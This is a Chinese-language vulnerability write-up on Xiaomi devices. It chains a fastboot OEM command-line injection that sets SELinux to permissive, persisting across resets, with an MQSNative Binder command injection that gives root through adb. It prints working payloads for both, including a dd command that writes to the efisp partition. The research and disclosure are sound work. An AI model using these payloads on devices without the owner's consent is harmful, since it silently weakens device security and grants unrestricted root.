Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi
MQSNative 提权 + ABL Cmdline 注入 —— 小米三八解锁节漏洞分析
TL; DR
3月9号,也就是今天似乎已经热更新完了,我没有验证。为了避免白下,于是挑了一个看起来比较老的 ROM [1] ,解包过程不赘述了。直接开始分析涉及到的其中两个漏洞
- Fastboot OEM Inject 可以注入cmdline 启动参数,将 selinux 设置为宽容模式
- MIUI MQSNative Binder 提权漏洞,也是一个命令注入,可以通过adb获取高权限,前提 selinux 已经设置为宽容模式
另外这俩漏洞分析由我和 @MG1937[2] 共同完成
Fastboot OEM cmdline 注入
这个漏洞是 ABL 的漏洞,二进制文件在 nezha_global_images_OS3.0.9.0.WPAMIXM_16.0/images/abl.elf
通过 binwalk 层层解压,最后用 7z 解压一个 decompressed.bin.7z 得到一个 LinuxLoader.efi
Payload :
1 | fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive |
以上述这个 Payload 展开分析:
USB -> Fastboot 协议
Fastboot 协议通过 USB bulk transfer 发送原始命令字符串:
1 | USB TX: "oem set-gpu-preemption 0 androidboot.selinux=permissive" |
LinuxLoader.efi 的 fastboot command dispatch loop 遍历 g_OemCmdTable[30] (0xCAC08),对每个 entry 做前缀匹配。匹配到 index 14:
1 | .data:00000000000CACE8 DCQ aOemSetGpuPreem ; "oem set-gpu-preemption" |
调用时 arg 指针指向匹配前缀之后的部分:
1 | 完整命令: "oem set-gpu-preemption 0 androidboot.selinux=permissive" |
CmdOemSetGpuPreemptionValue 执行
1 | AsciiStrnCpyS(v703, "Set GPU HW Preemption: ", 64);// Resp[0x40] = "Set GPU HW Preemption: " |
此刻栈上:
1 | GpuPreemptionValue: [' ','m','s','m','_','k','g','s','l','.','p','r','e','e','m', |
前导空格过滤循环 (0x5F7DC–0x5F7F8)
1 | // arg = " 0 androidboot.selinux=permissive" |
过滤后:arg = "0 androidboot.selinux=permissive"
循环在遇到第一个非空格字符 ‘0’ 后立即退出。字符串中间的空格 “0 androidboot…” 完全未被检查。
1 | v336 = AsciiStrLen(v331); // AsciiStrLen(arg) - get length of user input (with embedded spaces) |
拼接完后的 GpuPreemptionValue 为
1 | GpuPreemptionValue = " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive\0" |
最后应该是写入 UEFI NVRAM里了
1 | @0x5F818 X20 = gRT_ptr->SetVariable // offset 0x58 in EFI_RUNTIME_SERVICES |
payload 已持久化到 UEFI NVRAM。 NON_VOLATILE 意味着:
- 重启不丢失
- 恢复出厂设置不清除(factory reset 只擦 userdata/cache 分区,不动 UEFI 变量)
- 刷机不一定清除(除非刷入的固件主动删除该变量)
Kernel 解析 cmdline
设备重启后,ABL 加载 kernel 之前调用 UpdateCmdLine() 构造完整的 kernel command lin
先试读取 GpuConfiguration 变量
1 | xEF20 X8 = *gRT_ptr // 取 EFI_RUNTIME_SERVICES* |
计算长度并追加到 cmdline (0xEF68–0xEF94)
1 | 0xEF68 X0 = &GpuCmdLine buffer // 指向 GetVariable 输出 |
无任何校验,直接拼接到 kernel command line。
这样当系统启动后,init 进程读取该 prop,将 SELinux 设为 permissive 模式
SELinux permissive 意味着:
- 所有 SELinux MAC 策略不再强制执行,只审计记录
- 任何进程可以访问任何文件、socket、设备节点
- ADB shell 可以直接 su 而不被 SELinux 阻止
- 配合其他提权漏洞(如 MQSNative service call)可直接获得无约束 root
一个简单的流程
1 |
|
一次注入 = 永久 SELinux 降级。用户无感知,设置界面仍显示 “Enforcing”(因为 UI 读的是运行时状态,而该注入在 init 早期就已生效)。
MIUI MQSNative Binder Privilege Escalation
这个漏洞涉及到的 Binder 服务是 MIUI MQSNative。 解包后通过朴实无华的 grep 命令可以找到两个二进制程序
./system_ext_extracted/bin/hypsys_system./system_ext_extracted/lib64/miui.mqsas.native-cpp.so
另外 grep 到一个 selinux 的配置
1 | ./system_ext_extracted/etc/selinux/system_ext_service_contexts:14:miui.mqsas.IMQSNative u:object_r:mqsasd_service:s0 |
进一步查找可以知道访问该服务的核心域 (Domains)有如下,
- updater:
- 对应的 App: 通常是小米官方的“系统更新” (Updater) 应用。
- 权限: 这个 App 运行在 updater 域中,显然它需要调用 mqsasd 来执行某些系统维护任务(比如写入 Persist 文件或运行特定命令)。
- system_server:
- 对应的组件: Android 系统的核心进程(system_server)。
- 含义: 系统服务(如 ActivityManagerService 或小米自定义的 Framework 服务)可以自由访问此接口。
- hypsys_ssi_client:
- 对应的组件: 这是一个通用的客户标签。我们需要找出哪些进程被标记为 hypsys_ssi_client。
- 推测: 通常是一些负责系统稳定性监控、性能优化的系统级组件。
因此正常的 adb shell 应该也是访问不到这个Binder的,
adb shell 是能访问到这个BInder的, 但是普通App权限应该不能(所以大概率不会被某XX利用) 接着分析 MQSNative Binde
在 ./system_ext_extracted/etc/init/hypsys_system.rc init 的配置文件中可以看到, MQSNative Binder 服务以 root 权限 运行
1 | $ cat ./system_ext_extracted/etc/init/hypsys_system.rc |grep hypsys_system -A 10 |
MQSNative Binder 注册
MQSNative Binder 的注册在 /system_ext/bin/hypsys_system main 函数里能看到
1 | ... |
main 函数主要按以下顺序完整注册任务
1 | +-------------------------------------------------------+ |
onTransact 分派
BnMQSNative::onTransact 位于 ./system_ext_extracted/lib64/miui.mqsas.native-cpp.so 依赖库里的 0xC0B4
其是一个包含22 个case 的switch 大函数体, 映射了 22 个AIDL 的接口方法, 其中公开payload 中用到的是 21 这个
公开的payload是
1 | adb shell service call miui.mqsas.IMQSNative 21 \ |
其对应的伪代码为如下
1 | case 0x15u: // captureLogByRunCommand - CRITICAL VULNERABILITY |
其调用的功能是 captureLogByRunCommand
我们简单映射一下ADB命令和 Parcel 参数的映射结果如下
| Parcel 数据 | 反序列化调用 | 含义 |
|---|---|---|
i32 1 + s16 "dd" |
readString16Vector(&cmds) |
命令向量:size=1, [“dd”] |
i32 1 + s16 "if=... of=..." |
readString16Vector(&args) |
参数向量:size=1, [“if=/data/local/tmp/gbl of=/dev/block/by-name/efisp”] |
s16 "/data/mqsas/log.txt" |
readString16(&logFile) |
日志文件路径 |
i32 60 |
readInt32(&timeout) |
超时秒数 |
captureLogByRunCommand -> miui::mqsas::BpMQSNative::captureLogByRunCommand 最后结果就是:
任意命令+参数:captureLogByRunCommand 接受任意命令名和参数,无白名单/黑名单过滤
changelog
v2: 修复了一些 selinux 的错别字
v1: 更改了错误说法,其实 ·adb shell· 是可以访问到小米 MQSNative Binder 的
Comments